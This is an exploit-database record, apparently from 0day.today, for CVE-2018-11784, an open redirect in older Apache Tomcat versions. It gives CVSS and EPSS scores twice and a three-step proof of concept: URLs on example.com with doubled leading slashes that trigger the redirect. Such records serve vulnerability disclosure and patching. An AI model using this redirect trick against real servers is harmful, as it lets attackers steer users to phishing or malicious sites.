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zdtCentral InfoSec1337DAY-ID-36545
HistoryJul 13, 2021 - 12:00 a.m.

Apache Tomcat 9.0.0.M1 - Open Redirect Vulnerability

2021-07-1300:00:00
Central InfoSec
0day.today
195

4.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.791 High

EPSS

Percentile

98.3%

# Exploit Title: Apache Tomcat 9.0.0.M1 - Open Redirect
# Exploit Author: Central InfoSec
# Version: Apache Tomcat 9.0.0.M1 to 9.0.0.11, 8.5.0 to 8.5.33, and 7.0.23 to 7.0.90
# CVE : CVE-2018-11784

# Proof of Concept:

# Identify a subfolder within your application
http://example.com/test/

# Modify the URL to include at least 2 leading slashes before the subfolder and no trailing slash
http://example.com//test

# Browse to the newly created URL and the application will perform a redirection
http://test/

4.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

0.791 High

EPSS

Percentile

98.3%